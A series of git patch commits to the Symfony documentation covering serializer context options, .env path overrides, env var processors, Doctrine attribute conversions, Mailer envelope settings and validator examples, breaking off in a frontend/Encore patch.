-    :class:`Symfony\\Component\\Serializer\\Serializer` uses ``empty_arrays_as_object`` to serialize empty array as object (uses ``{}`` instead of ``[]`` in JSON);
+    The usage of the ``empty_arrays_as_object`` option by default in the
+    Serializer was introduced in Symfony 5.4.
 
 You can pass the context like following::
 

From f42d94b61717db8dba9553860872784204515ba2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Aug 2021 16:39:47 +0200
Subject: [PATCH 2422/7107] Remove a versionadded directive

---
 serializer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index ddc1e3c963a..6f2c7eb7fd5 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -156,11 +156,6 @@ resources. This context is passed to all normalizers. For example:
   uses ``empty_iterable_as_object`` to represent empty objects as ``{}`` instead
   of ``[]`` in JSON.
 
-.. versionadded:: 5.4
-
-    The usage of the ``empty_arrays_as_object`` option by default in the
-    Serializer was introduced in Symfony 5.4.
-
 You can pass the context like following::
 
     $serializer->serialize($something, 'json', [

From f0f6662db5553a906d61b633dd44228bc417370d Mon Sep 17 00:00:00 2001
From: William Pinaud <thedocrepinsfx@gmail.com>
Date: Mon, 9 Aug 2021 13:20:43 +0200
Subject: [PATCH 2423/7107] Add missing instructions to alter the environment
 directory

---
 configuration/override_dir_structure.rst | 61 +++++++++++++++++++++++-
 1 file changed, 60 insertions(+), 1 deletion(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 819a023f5f6..89edeb2bd42 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -25,7 +25,66 @@ override it to create your own structure:
     │  ├─ cache/
     │  ├─ log/
     │  └─ ...
-    └─ vendor/
+    ├─ vendor/
+    └─ .env
+
+
+.. _override-env-dir:
+
+Override the Environment (DotEnv) Files Directory
+-------------------------------------------------
+
+Though the environment files directory is supposed to be the current project 
+root directory, you can actually set it via Composer or specifically in each
+bootstrapper file ``index.php`` (your :ref:`front controller <from_flat_php-front-controller>`) 
+or your ``console`` file (located by default in the ``bin/`` directory of 
+your application).
+
+You can change the ``runtime.dotenv_path`` option in the ``composer.json``
+file:
+
+.. code-block:: json
+
+    {
+        "...": "...",
+        "extra": {
+            "...": "...",
+            "runtime": {
+                "dotenv_path": "my_new_env_dir/.env"
+            }
+        }
+    }
+    
+.. tip::
+
+    Don't forget to update your Composer files (via ``composer update``, for instance),
+    so that the ``vendor/autoload_runtime.php`` files gets regenerated to reflect
+    your environment overrides for this.
+    
+If you want to set up different specific paths for your environment directories
+for your console and web server calls, you'll have to use the PHP files to 
+achieve so, by altering the ``$_SERVER`` configuration.
+
+For instance, you can do the following (starting Symfony ``5.3``)::
+
+    // bin/console
+
+    // ...
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'my_new_console_env_dir/.env';
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+    // ...
+
+And/or::
+
+    // public/index.php
+    
+    // ...
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'my_new_web_env_dir/.env';
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+    // ...
+
 
 .. _override-config-dir:
 

From c438054fe471eb2b9c5ecfe456b2dc2aeb468304 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Aug 2021 16:57:26 +0200
Subject: [PATCH 2424/7107] Reword

---
 configuration/override_dir_structure.rst | 38 ++++++++++--------------
 1 file changed, 15 insertions(+), 23 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 89edeb2bd42..46c60967f30 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -28,20 +28,14 @@ override it to create your own structure:
     ├─ vendor/
     └─ .env
 
-
 .. _override-env-dir:
 
 Override the Environment (DotEnv) Files Directory
 -------------------------------------------------
 
-Though the environment files directory is supposed to be the current project 
-root directory, you can actually set it via Composer or specifically in each
-bootstrapper file ``index.php`` (your :ref:`front controller <from_flat_php-front-controller>`) 
-or your ``console`` file (located by default in the ``bin/`` directory of 
-your application).
-
-You can change the ``runtime.dotenv_path`` option in the ``composer.json``
-file:
+By default, the :ref:`.env configuration file <config-dot-env>` is located at
+the root directory of the project. If you store it in a different location,
+define the ``runtime.dotenv_path`` option in the ``composer.json`` file:
 
 .. code-block:: json
 
@@ -50,37 +44,35 @@ file:
         "extra": {
             "...": "...",
             "runtime": {
-                "dotenv_path": "my_new_env_dir/.env"
+                "dotenv_path": "my/custom/path/to/.env"
             }
         }
     }
-    
-.. tip::
 
-    Don't forget to update your Composer files (via ``composer update``, for instance),
-    so that the ``vendor/autoload_runtime.php`` files gets regenerated to reflect
-    your environment overrides for this.
-    
-If you want to set up different specific paths for your environment directories
-for your console and web server calls, you'll have to use the PHP files to 
-achieve so, by altering the ``$_SERVER`` configuration.
+Then, update your Composer files (running ``composer update``, for instance),
+so that the ``vendor/autoload_runtime.php`` files gets regenerated with the new
+``.env`` path.
+
+You can also set up different ``.env`` paths for your console and web server
+calls. Edit the ``public/index.php`` and/or ``bin/console`` files to define the
+new file path.
 
-For instance, you can do the following (starting Symfony ``5.3``)::
+Console script::
 
     // bin/console
 
     // ...
-    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'my_new_console_env_dir/.env';
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'some/custom/path/to/.env';
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
     // ...
 
-And/or::
+Web front-controller::
 
     // public/index.php
     
     // ...
-    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'my_new_web_env_dir/.env';
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'another/custom/path/to/.env';
 
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
     // ...

From b396b0218cb2040faee774476292cf581481b459 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Wed, 11 Aug 2021 09:38:28 +0200
Subject: [PATCH 2425/7107] Improve url env var processor with type cast

---
 configuration/env_var_processors.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index a1c28de0c4f..e5e65d3255f 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -549,9 +549,9 @@ Symfony provides the following env var processors:
                 clients:
                     default:
                         hosts:
-                            - { host: '%env(key:host:url:MONGODB_URL)%', port: '%env(key:port:url:MONGODB_URL)%' }
-                        username: '%env(key:user:url:MONGODB_URL)%'
-                        password: '%env(key:pass:url:MONGODB_URL)%'
+                            - { host: '%env(string:key:host:url:MONGODB_URL)%', port: '%env(int:key:port:url:MONGODB_URL)%' }
+                        username: '%env(string:key:user:url:MONGODB_URL)%'
+                        password: '%env(string:key:pass:url:MONGODB_URL)%'
                 connections:
                     default:
                         database_name: '%env(key:path:url:MONGODB_URL)%'
@@ -566,8 +566,8 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <mongodb:config>
-                    <mongodb:client name="default" username="%env(key:user:url:MONGODB_URL)%" password="%env(key:pass:url:MONGODB_URL)%">
-                        <mongodb:host host="%env(key:host:url:MONGODB_URL)%" port="%env(key:port:url:MONGODB_URL)%"/>
+                    <mongodb:client name="default" username="%env(string:key:user:url:MONGODB_URL)%" password="%env(string:key:pass:url:MONGODB_URL)%">
+                        <mongodb:host host="%env(string:key:host:url:MONGODB_URL)%" port="%env(int:key:port:url:MONGODB_URL)%"/>
                     </mongodb:client>
                     <mongodb:connections name="default" database_name="%env(key:path:url:MONGODB_URL)%"/>
                 </mongodb:config>
@@ -581,12 +581,12 @@ Symfony provides the following env var processors:
                     'default' => [
                         'hosts' => [
                             [
-                                'host' => '%env(key:host:url:MONGODB_URL)%',
-                                'port' => '%env(key:port:url:MONGODB_URL)%',
+                                'host' => '%env(string:key:host:url:MONGODB_URL)%',
+                                'port' => '%env(int:key:port:url:MONGODB_URL)%',
                             ],
                         ],
-                        'username' => '%env(key:user:url:MONGODB_URL)%',
-                        'password' => '%env(key:pass:url:MONGODB_URL)%',
+                        'username' => '%env(string:key:user:url:MONGODB_URL)%',
+                        'password' => '%env(string:key:pass:url:MONGODB_URL)%',
                     ],
                 ],
                 'connections' => [

From b61d2a9aefe6cb7285e251c49db0795e7e1d833b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 11 Aug 2021 12:02:22 +0200
Subject: [PATCH 2426/7107] Revert the changes made in #15424

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 087622036a2..7420a822ab6 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -352,7 +352,7 @@ RabbitMQ      5672      ``RABBITMQ_`` (set user and pass via Docker ``RABBITMQ_D
 Elasticsearch 9200      ``ELASTICSEARCH_``
 MongoDB       27017     ``MONGODB_`` (set the database via a Docker ``MONGO_DATABASE`` env var)
 Kafka         9092      ``KAFKA_``
-MailCatcher   1025/1080 ``MAILCATCHER_``
+MailCatcher   1025/1080 ``MAILER_``
               or 25/80
 Blackfire     8707      ``BLACKFIRE_``
 ============= ========= ======================

From 8d9a114c8a4c8ec65318ec6e19b08c0a435710c5 Mon Sep 17 00:00:00 2001
From: M#3 <zspine@users.noreply.github.com>
Date: Wed, 11 Aug 2021 16:33:40 +0400
Subject: [PATCH 2427/7107] Replaced doctrine annotations with attributes

I'm not sure whether this is a significant change, but I'd like to keep the usage examples consistent across configuration types.
---
 reference/constraints/UniqueEntity.rst | 21 ++++++---------------
 1 file changed, 6 insertions(+), 15 deletions(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 13f08952b24..e3dd0a4dbe6 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -76,15 +76,11 @@ between all of the rows in your user table:
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        /**
-         * @ORM\Entity
-         */
+        #[ORM\Entity]
         #[UniqueEntity('email')]
         class User
         {
-            /**
-             * @ORM\Column(name="email", type="string", length=255, unique=true)
-             */
+            #[ORM\Column(name: 'email', type: 'string', length: 255, unique: true)]
             #[Assert\Email]
             protected $email;
         }
@@ -223,12 +219,11 @@ Consider this example:
         // src/Entity/Service.php
         namespace App\Entity;
 
+        use App\Entity\Host;
         use Doctrine\ORM\Mapping as ORM;
         use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
 
-        /**
-         * @ORM\Entity
-         */
+        #[ORM\Entity]
         #[UniqueEntity(
             fields: ['host', 'port'],
             errorPath: 'port',
@@ -236,14 +231,10 @@ Consider this example:
         )]
         class Service
         {
-            /**
-             * @ORM\ManyToOne(targetEntity="App\Entity\Host")
-             */
+            #[ORM\ManyToOne(targetEntity: Host::class)]
             public $host;
 
-            /**
-             * @ORM\Column(type="integer")
-             */
+            #[ORM\Column(type: 'integer')]
             public $port;
         }
 

From 2d3610521374525bb5b1f0b5464997be912adfe1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Thu, 12 Aug 2021 10:46:20 +0200
Subject: [PATCH 2428/7107] [Serializer] Fixed context key

beacause of code update
---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 2931a361493..92250d2f5a9 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -162,7 +162,7 @@ resources. This context is passed to all normalizers. For example:
 
 .. versionadded:: 5.4
 
-    The usage of the ``empty_arrays_as_object`` option by default in the
+    The usage of the ``empty_array_as_object`` option by default in the
     Serializer was introduced in Symfony 5.4.
 
 You can pass the context like following::

From b8debc577af26c525b59b05f70317fd75fa34fef Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Mon, 19 Apr 2021 16:44:32 +0200
Subject: [PATCH 2429/7107] Update translation.rst

---
 translation.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/translation.rst b/translation.rst
index a612c218454..29285a114a1 100644
--- a/translation.rst
+++ b/translation.rst
@@ -410,6 +410,15 @@ The ``trans`` filter can be used to translate *variable texts* and complex expre
         {{ message|trans|raw }}
         {{ '<h3>bar</h3>'|trans|raw }}
 
+.. tip::
+
+    When a number is provided as a parameter named "%count%", the message is parsed for plural
+    forms and a translation is chosen according to this number using the following rules:
+
+    .. code-block:: twig
+
+       {{ message|trans({'%name%': 'Fabien', '%count%' => 1}, 'app') }}
+
 .. tip::
 
     You can set the translation domain for an entire Twig template with a single tag:

From 88291540c381d1c051e23fc5badfa7bdfeef5f95 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Aug 2021 15:54:53 +0200
Subject: [PATCH 2430/7107] Reword

---
 translation.rst | 25 ++++++++++++++++---------
 1 file changed, 16 insertions(+), 9 deletions(-)

diff --git a/translation.rst b/translation.rst
index 29285a114a1..3026da62ff8 100644
--- a/translation.rst
+++ b/translation.rst
@@ -297,6 +297,22 @@ To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by
 using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 :doc:`/translation/message_format`.
 
+.. tip::
+
+    If you don't use the ICU MessageFormat syntax in your translation files,
+    pass a parameter named "%count%" to select the best plural form of the message:
+
+    .. code-block:: twig
+
+       {{ message|trans({'%name%': '...', '%count%' => 1}, 'app') }}
+
+    The ``message`` variable must include all the different versions of this
+    message based on the value of the ``count`` parameter. For example:
+
+    .. code-block:: text
+
+        {0}%name% has no apples|{1}%name% has one apple|]1,Inf[ %name% has %count% apples
+
 .. _translatable-objects:
 
 Translatable Objects
@@ -410,15 +426,6 @@ The ``trans`` filter can be used to translate *variable texts* and complex expre
         {{ message|trans|raw }}
         {{ '<h3>bar</h3>'|trans|raw }}
 
-.. tip::
-
-    When a number is provided as a parameter named "%count%", the message is parsed for plural
-    forms and a translation is chosen according to this number using the following rules:
-
-    .. code-block:: twig
-
-       {{ message|trans({'%name%': 'Fabien', '%count%' => 1}, 'app') }}
-
 .. tip::
 
     You can set the translation domain for an entire Twig template with a single tag:

From adba2b816600419571a299f41c1be2d910956e21 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 14 Apr 2021 15:31:10 +0200
Subject: [PATCH 2431/7107] Added cautionbox for sender

TODO: Same for "recipients", line 3141
---
 reference/configuration/framework.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d6ad1ceacac..c1a69582ffc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3373,8 +3373,11 @@ sender
 
 **type**: ``string``
 
-Sender used by the ``Mailer``. Keep in mind that this setting override a
-sender set in the code.
+Sender used as ``MAIL FROM`` in the SMTP session.
+
+.. caution::
+
+    This setting overrides a sender set in the code.
 
 recipients
 """"""""""

From 05e1203359cfe618790fb02939919add2e544201 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Aug 2021 16:34:40 +0200
Subject: [PATCH 2432/7107] Tweaks

---
 reference/configuration/framework.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c1a69582ffc..bfe5cddef45 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3373,11 +3373,9 @@ sender
 
 **type**: ``string``
 
-Sender used as ``MAIL FROM`` in the SMTP session.
-
-.. caution::
-
-    This setting overrides a sender set in the code.
+The "envelope sender" which is used as the value of ``MAIL FROM`` during the
+the `establishment of the SMTP session`_. This value overrides any other sender
+set in the code.
 
 recipients
 """"""""""
@@ -3642,3 +3640,4 @@ to know their differences.
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
 .. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988
+_ ..`establishment of the SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example

From 1bb1a6a367e9be7ec0a2f8c2f6b853e5e2c9a418 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Aug 2021 16:44:39 +0200
Subject: [PATCH 2433/7107] Fixed a link

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index bfe5cddef45..60a93634be2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3640,4 +3640,4 @@ to know their differences.
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
 .. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988
-_ ..`establishment of the SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example
+.. _`establishment of the SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example

From 6b69fe379a73140a5f592225cd6d96ae4257e980 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 12 Aug 2021 17:17:21 +0200
Subject: [PATCH 2434/7107] Minor typos

Follow-up of https://github.com/symfony/symfony-docs/pull/15240
This is the *full* SMTP session, not just the "establishment".
---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 60a93634be2..ef604f6ef67 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3374,7 +3374,7 @@ sender
 **type**: ``string``
 
 The "envelope sender" which is used as the value of ``MAIL FROM`` during the
-the `establishment of the SMTP session`_. This value overrides any other sender
+`SMTP session`_. This value overrides any other sender
 set in the code.
 
 recipients
@@ -3640,4 +3640,4 @@ to know their differences.
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
 .. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988
-.. _`establishment of the SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example
+.. _`SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example

From 18fb7c30a5f81ed9418957b487146266d561b554 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 12 Aug 2021 17:26:52 +0200
Subject: [PATCH 2435/7107] Fixing "envelope recipient"

Second part of https://github.com/symfony/symfony-docs/pull/15240
---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 60a93634be2..ba9daa9eb25 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3382,8 +3382,8 @@ recipients
 
 **type**: ``array``
 
-Recipients used by the ``Mailer``. Keep in mind that this setting override
-recipients set in the code.
+The "envelope recipient" which is used as the value of ``RCPT TO``  during the
+the `SMTP session`_. This value overrides any other sender set in the code.
 
 .. configuration-block::
 

From b30bff4b8f89f61cdc53b25d51606c741b7f8cc9 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 12 Aug 2021 23:49:33 +0200
Subject: [PATCH 2436/7107] Showing how to pass options

Two things are important:
* It wasn't shown how to actually pass an option to the validator.
* How to do it differs between Annotations and Attributes (notice the `options` keyword).
---
 validation/custom_constraint.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 5f85cb9092e..07fc8c85a73 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -29,6 +29,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
         class ContainsAlphanumeric extends Constraint
         {
             public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+            public $mode = 'strict'; // If the constraint has configuration options, define them as public properties
         }
 
     .. code-block:: php-attributes
@@ -45,8 +46,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
         }
 
 Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
-use it as an annotation/attribute in other classes. If the constraint has
-configuration options, define them as public properties on the constraint class.
+use it as an annotation/attribute in other classes.
 
 .. versionadded:: 5.2
 
@@ -103,6 +103,11 @@ The validator class only has one required method ``validate()``::
                 // separate multiple types using pipes
                 // throw new UnexpectedValueException($value, 'string|int');
             }
+            
+            // access your configuration options like this:
+            if ('strict' === $constraint->mode) {
+                // ...
+            }
 
             if (!preg_match('/^[a-zA-Z0-9]+$/', $value, $matches)) {
                 // the argument must be a string or an object implementing __toString()
@@ -141,7 +146,7 @@ You can use custom validators like the ones provided by Symfony itself:
 
             /**
              * @Assert\NotBlank
-             * @AcmeAssert\ContainsAlphanumeric
+             * @AcmeAssert\ContainsAlphanumeric(mode="loose")
              */
             protected $name;
 
@@ -161,7 +166,7 @@ You can use custom validators like the ones provided by Symfony itself:
             // ...
 
             #[Assert\NotBlank]
-            #[AcmeAssert\ContainsAlphanumeric]
+            #[AcmeAssert\ContainsAlphanumeric(options: ['mode' => 'loose'])]
             protected $name;
 
             // ...

From 2a2f7d3baacf85b839c7e786ca42e035a3378d5f Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Fri, 13 Aug 2021 01:50:17 +0200
Subject: [PATCH 2437/7107] Update browser_kit.rst

---
 components/browser_kit.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 475c84b9365..9648afc31e4 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -60,7 +60,7 @@ This method accepts a request and should return a response::
 For a simple implementation of a browser based on the HTTP layer, have a look
 at the :class:`Symfony\\Component\\BrowserKit\\HttpBrowser` provided by
 :ref:`this component <component-browserkit-external-requests>`. For an implementation based
-on ``HttpKernelInterface``, have a look at the :class:`Symfony\\Component\\HttpKernel\\Client`
+on ``HttpKernelInterface``, have a look at the :class:`Symfony\\Component\\HttpKernel\\HttpClientKernel`
 provided by the :doc:`HttpKernel component </components/http_kernel>`.
 
 Making Requests

From 504e5a3cb39960bb75bfec209caa6206cc7ae2a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Aug 2021 08:34:41 +0200
Subject: [PATCH 2438/7107] Tweak

---
 reference/configuration/framework.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ef604f6ef67..1d5bcf75851 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3374,8 +3374,7 @@ sender
 **type**: ``string``
 
 The "envelope sender" which is used as the value of ``MAIL FROM`` during the
-`SMTP session`_. This value overrides any other sender
-set in the code.
+`SMTP session`_. This value overrides any other sender set in the code.
 
 recipients
 """"""""""

From 8d86ed04b7a2a7f0ad12b1f04b5157300466a377 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Aug 2021 08:49:58 +0200
Subject: [PATCH 2439/7107] Minor fix

---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 42a3d55134f..55124297a25 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3381,8 +3381,8 @@ recipients
 
 **type**: ``array``
 
-The "envelope recipient" which is used as the value of ``RCPT TO``  during the
-the `SMTP session`_. This value overrides any other sender set in the code.
+The "envelope recipient" which is used as the value of ``RCPT TO`` during the
+the `SMTP session`_. This value overrides any other recipient set in the code.
 
 .. configuration-block::
 

From aa67a0f9283b267ba45cca25e22788a439328724 Mon Sep 17 00:00:00 2001
From: M#3 <zspine@users.noreply.github.com>
Date: Fri, 13 Aug 2021 11:57:48 +0400
Subject: [PATCH 2440/7107] Replaced doctrine annotations with attributes

---
 reference/constraints/Traverse.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 4c5754083a5..a9604056738 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -94,30 +94,27 @@ that all have constraints on their properties.
         // src/Entity/BookCollection.php
         namespace App\Entity;
 
+        use App\Entity\Book;
         use Doctrine\Common\Collections\ArrayCollection;
-        use Doctrine\Common\Collections\Collection
+        use Doctrine\Common\Collections\Collection;
         use Doctrine\ORM\Mapping as ORM;
         use Symfony\Component\Validator\Constraints as Assert;
 
-        /**
-         * @ORM\Entity
-         */
+        #[ORM\Entity]
         #[Assert\Traverse]
         class BookCollection implements \IteratorAggregate
         {
             /**
              * @var string
-             *
-             * @ORM\Column
              */
+            #[ORM\Column]
             #[Assert\NotBlank]
             protected $name = '';
 
             /**
              * @var Collection|Book[]
-             *
-             * @ORM\ManyToMany(targetEntity="App\Entity\Book")
              */
+            #[ORM\ManyToMany(targetEntity: Book::class)] 
             protected $books;
 
             // some other properties

From 408fd801729e9df9223622539defe11cc0104b9a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Aug 2021 12:27:12 +0200
Subject: [PATCH 2441/7107] Fix a method name

---
 components/options_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index dac384c7f62..37e14d5418a 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -381,7 +381,7 @@ returns ``true`` for acceptable values and ``false`` for invalid values::
 .. tip::
 
     You can even use the :doc:`Validator </validation>` component to validate the
-    input by using the :method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
+    input by using the :method:`Symfony\\Component\\Validator\\Validation::createIsValidCallable`
     method::
 
         use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -389,7 +389,7 @@ returns ``true`` for acceptable values and ``false`` for invalid values::
         use Symfony\Component\Validator\Validation;
 
         // ...
-        $resolver->setAllowedValues('transport', Validation::createValidCallable(
+        $resolver->setAllowedValues('transport', Validation::createIsValidCallable(
             new Length(['min' => 10 ])
         ));
 

From 4b01042ad96d4a521cf74ba2c5270e07a9734e52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Aug 2021 12:27:45 +0200
Subject: [PATCH 2442/7107] Fix a wrong method name

---
 validation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/validation.rst b/validation.rst
index d4dd7b9279a..3cafb01d133 100644
--- a/validation.rst
+++ b/validation.rst
@@ -244,7 +244,7 @@ when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 :method:`Symfony\\Component\\Validator\\Validation::createCallable`
     This returns a closure that throws ``ValidationFailedException`` when the
     constraints aren't matched.
-:method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
+:method:`Symfony\\Component\\Validator\\Validation::createIsValidCallable`
     This returns a closure that returns ``false`` when the constraints aren't matched.
 
 .. versionadded:: 5.1
@@ -253,7 +253,7 @@ when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 
 .. versionadded:: 5.3
 
-    ``Validation::createValidCallable()`` was introduced in Symfony 5.3.
+    ``Validation::createIsValidCallable()`` was introduced in Symfony 5.3.
 
 .. index::
    single: Validation; Constraints

From b9cfe0833d283559a47ad8ea77b80537c7a9af88 Mon Sep 17 00:00:00 2001
From: Navid Salehi <nvdsalehi@gmail.com>
Date: Sun, 15 Aug 2021 17:58:19 +0430
Subject: [PATCH 2443/7107] resolves #15575 add npm equivalent of yarn commands
 in a separate code block.

---
 frontend/encore/advanced-config.rst | 10 ++++-
 frontend/encore/bootstrap.rst       | 23 +++++++---
 frontend/encore/dev-server.rst      | 20 +++++++--
 frontend/encore/faq.rst             |  7 +--
 frontend/encore/installation.rst    | 26 +++++++----
 frontend/encore/postcss.rst         | 10 ++++-
 frontend/encore/reactjs.rst         | 11 ++++-
 frontend/encore/simple-example.rst  | 67 ++++++++++++++++++++---------
 frontend/encore/url-loader.rst      | 10 ++++-
 frontend/encore/vuejs.rst           | 10 ++++-
 10 files changed, 144 insertions(+), 50 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index eb77baef504..7e5403a9a60 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -103,9 +103,15 @@ state of the current configuration to build a new one:
 When running Encore, both configurations will be built in parallel. If you
